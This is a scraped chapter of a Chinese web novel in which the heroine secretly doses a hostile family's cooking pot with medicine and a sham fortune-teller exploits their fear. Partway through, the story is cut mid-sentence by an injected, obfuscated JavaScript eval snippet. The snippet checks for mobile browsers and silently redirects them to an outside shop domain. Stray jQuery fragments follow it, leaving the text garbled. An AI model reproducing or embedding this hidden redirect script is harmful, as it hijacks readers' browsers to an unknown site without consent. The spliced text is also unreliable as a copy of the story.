文趣网 > 都市小说 > 白云村来了个黑寡妇 > 58. 神通广大
    当天夜里,江心顺利地从孙家墙角的狗洞钻了进去,并将药粉涂抹在孙家那张黑不溜秋的铁锅里。

    孙婶子趴在墙头望风,直到江心做完一切,又顺利从狗洞爬出,她才松了一口气。

    次日,孙家三口开始嘴角长泡;第三日,他们开始喉咙肿痛,声音嘶哑。

    他们找到了杨郎中,几服药下肚,没见任何好转。

    江氏扯着沙哑的嗓子又找到杨郎中讨要说法,为何收了银子却看不好病?

    杨郎中当场动了气,几句话把江氏打发走了,“你们这是怪病,来的蹊跷,只能用药性温和的方子慢慢调理,若不是我这方子,你们早就嘴巴喉咙一起溃烂发臭了,你现在还能站在这叫嚣?”

    江氏灰头土脸地回了家,刚到家门口,忽然觉得有东西落到了自己的头上,她伸手一摸,竟是一泡鸟.屎…

    江氏抬头望向树上,几只灰麻雀正在枝头跳跃,她忍着喉咙的疼痛,边抬头骂鸟,边继续往前走,谁知她又突然脚底一滑,扑腾摔倒在地…

    她哎吆一声后,爬了起来,再向脚底看去,原是踩到了一泡狗.屎…

    “谁家狗!丧尽天良!跑别人家门口拉|屎!”江氏不顾喉咙的疼痛和心里的恶心,再次破口大骂!

    听到动静的孙望宗从堂屋出来,见自己亲娘正在门口骂街,他上前低声呵斥阻止。

    江氏听到儿子的声音,一回头,却见儿子的两个腮帮子已经高高肿起…

    她此时也顾不得叫骂了,忙上前拉住儿子的胳膊,焦急道,“怎么了?这是怎么了?”

    孙望宗把江氏扯进屋里后,才呜呜喔喔说出原委。

    早上,天还蒙蒙亮,他听到墙头外似乎有人在喊自己,他起身打开大门,谁知脑袋刚探出去,就被人从后脖颈给了一下,然后他就昏倒了,后面的事情他就都不记得了,再次醒来,是在刘癞子家门前,且自己的脸已经被打肿了…

    “哪里还有受伤吗?”江氏担心不已。

    孙望宗摇了摇头,“没有,只扇了脸。”

    “这是哪个挨千刀的干的!”江氏怒不可遏,“儿子,你说你是在刘癞子家门前醒来的?难道是刘癞子干的?这王八蛋早就觊觎金花了,这是报复我们未把金花嫁给他呢!”

    孙望宗闭上眼睛长叹一口气,他有些懒得和自己娘浪费口舌。

    一直没吭声的孙老头不耐烦道,“那刘癞子都是个废人了,出门都得坐素舆,他如何能跳起来打望宗的后脖颈,再把晕倒的望宗扛走?”

    “那……”

    江氏还想分辨,孙老头已然猜出了她的心思,“你难道还想说刘癞子的瞎老娘?半瞎的老婆子打了你儿子?”

    江氏嗫嗫喏喏不敢再说话,孙老头转而看向自己儿子,试探道,“会不会是金花?你娘前段时间去找她麻烦,她打你泄愤呢!”

    孙望宗摇了摇头,“她没这个力气。”

    江氏不知在想什么,脸色忽然变得十分难看,“儿子,你说天没亮墙头外就有人叫你?你听出声音没?会不会不是人啊…”

    “胡扯什么呢!”孙老头一声呵斥打断了江氏的话头,但他自己也是一哆嗦。

    自己不是没见过怪事,从前的百狗索命就是实打实的怪事,所以对于鬼神之说,他是有几分信的。

    孙望宗又闭上了眼,他的腮帮子和嘴巴喉咙都十分疼,他不想同自己娘多费口舌。

    其实,经过从前差点丧命的事,他对鬼神之说的态度也有所动摇,但这次挨打的事,他却十分确定,是人干的,那个手刀是有温度的…

    至于声音,他确实没分辨出,首先,他本就睡得迷迷糊糊;其次,那道声音似乎有意压着嗓子,像男又像女,甚至有几分鬼气森森的感觉…

    江氏见自己儿子没有反驳,又继续道,“杨郎中都说了,咱们这是怪病,来的蹊跷,我方才回来时,先是被鸟.屎.浇头,又是踩到狗.屎.摔倒,再加上你又被打成这样…娘觉得,咱们这怕是撞了邪祟了!得找吴婆子给瞧瞧!”

    孙望宗的眼睛虽闭上了,脑子却没闲着,他脑中忽然冒出一个人来:沈铮。

    这东西对金花很上心,为了金花来报复自己也不是没可能,只是,他为何拖到现在才动手?

    难道报的不是自己娘打了金花的仇?而是自己娘散播流言的仇?

    “儿子,你说成吗?”江氏的声音再次在孙望宗耳边响起。

    孙望宗脑子乱的很,摆了摆手,不耐烦道,“随你!”

    他能解释得了自己为什么挨打,却解释不了一家三口同时得怪病,也解释不了自己娘方才的倒霉相。

    吴婆子确实有点东西,让她瞧瞧也无妨,左右没什么坏处就是。

    再说江氏,她得到自己儿子的首肯,慌里慌张地就出了门,太邪性了,她一刻都不敢耽搁直奔吴婆子家而去。

    可当她火急火燎地赶到吴婆子面前时,还未开口,便被兜头一顿臭骂…

    “我从前说的话,你们都不记得了?你们既然不信我,何故又来找我!这就是你们的报应,这才刚开始,你们且受着吧!”吴婆子的冷言冷语,如同冰刀子一般刺向江氏。

    江氏欲哭无泪,赶忙放低姿态,求吴婆子指条明路。

    “上门欺辱讹诈金花可是你干的?在村里散播流言毁金花名声可又是你干的?你搬弄口舌,老天爷便毁你们的口舌!你殴打别人,老天爷便让你们摔倒受伤!这都是报应!”

    江氏大惊,上门打金花和散播流言,吴婆子若是有心打听,也能得知是她干的。

    可自己一家三口得怪病,自己怕人笑话,可是谁都没说,只有杨郎中一人知晓,且杨郎中的性子大家都清楚,他是绝不会拿旁人的病情嚼舌根的。

    这吴婆子却知道的一清二楚,怪不得大家如今都称呼她半仙呢…

    心服口服的江氏,频频点头,眼泪也顺着眼角掉了下来,“吴半仙,你得帮帮我们啊!是我做错了,但和我老头儿子无关,要报应就报应我一个人吧,放过我老头和儿子吧!”

    此刻的江氏,实打实地悔不当初了,但并非良心发现,而是对于自己偷鸡不成蚀把米的懊恼。

    “你的报应当然会最重,他们俩是帮凶,也免不了责任,所以也得跟着你一起受牵连!”

    吴婆子冷哼一声。

    江氏一听,一把抱住吴婆子的大腿,“哇”的一声就开始嚎啕大哭…

    直到她哭的有些力

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17928970|206616||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    竭,哭的吴婆子脑袋嗡嗡的,吴婆子才勉为其难地答应帮帮她。

    入夜,吴婆子来到孙家,先是一顿“施法”,后交代孙家一家三口必须在门前跪上三夜赎罪,这事才能算完。

    江氏和孙老头满口答应,唯有孙望宗下巴微扬,态度傲慢。

    吴婆子冷哼一声,从怀中掏出六包东西,塞给了江氏,“这是辟邪的符灰,你们兑水分三次喝下去,喝完怪病也就好了。”

    江氏赶忙接过,拿到手里数了数,又小心问道,“吴半仙,这不对啊,我们三个人,这只有六包,还差一个人的。”

    吴婆子一双灰白的眸子看向孙望宗,“这小子不信我,他便不喝,等你们好了,让他自己来跟我求符水!”,说罢,她要了卦金,拄着拐棍离开了孙家。

    她回到自己家时,江心已经坐在堂屋等着她了。

    “您回来了。”江心双手奉上银子。

    吴婆子坐到板凳上,掏出自己袖筒里的银子,在江心面前晃了晃,“我没白干活,你的银子我不要。”

    “您手中的是您的酬劳,我手中的是给您的感谢,连同上次您在清安寺帮我的大忙。”江心笑着将银子再次递了过去。

    吴婆子不再推拒,笑眯眯地接过银子,她愿意同金花打交道,因为她心里清楚的很,其实金花大可拿她装神弄鬼的秘密威胁她帮忙,她为了生存下去也不得不帮。

    但金花没有,她每次都恭恭敬敬的,这次还主动送上感谢费。

    “你这孩子,聪明纯良,我愿意帮你,往后有事需要帮忙,随时都来找我,只要我老婆子能帮上的,绝不推辞。”吴婆子脸上露出罕见的和善慈祥。

    “只是,你一个弱女子是如何神不知鬼不觉地设下这些连环计的?尤其是孙望宗,都被打成猪头了,竟也不知是谁干的…”吴婆子忽然对江心很好奇,忍不住问出心里的疑问。

    啊?孙望宗被打成猪头了?

    江心神色一怔,这确实不是自己干的…

    自己只是下了药,又弄了点鸟.屎和狗.屎捉弄江氏一番…

    她确实没对孙望宗下手,孙望宗聪明,体力也远超自己,从他身上下手太多的话,容易露馅。

    大脑飞速运转后,她脑中冒出一道高大的身影,沈铮…

    定是他了…

    他也许是也听到了流言,也许是帮自己出江氏上门打自己的那口恶气,总之,只有他会做这些,只是刚巧了,把自己的连环计补充的更完善了。

    见江心半天不说话,吴婆子喊了一声,“金花?”

    江心回过神,笑了笑,神秘道,“不可说!”

    吴婆子闻言一愣,而后开怀大笑,“是咯,干咱们这行的,遇到追问就得说:不可说。”

    二人笑罢,吴婆子犹豫片刻,还是没忍住,“我再问最后一个问题,那符灰里你加了什么?不会喝出什么问题吧?”

    “嘿嘿,瞧您吓得,且放心,我没想毒死他们!那符灰里只是加了给他们治病的药。”

    说到此处,江心忍不住咋舌,“为了体现您的神通广大,我买的都是最好的药,到现在都还在心疼我那白花花的银子呢!”

    江心的俏皮话一出,二人皆笑了。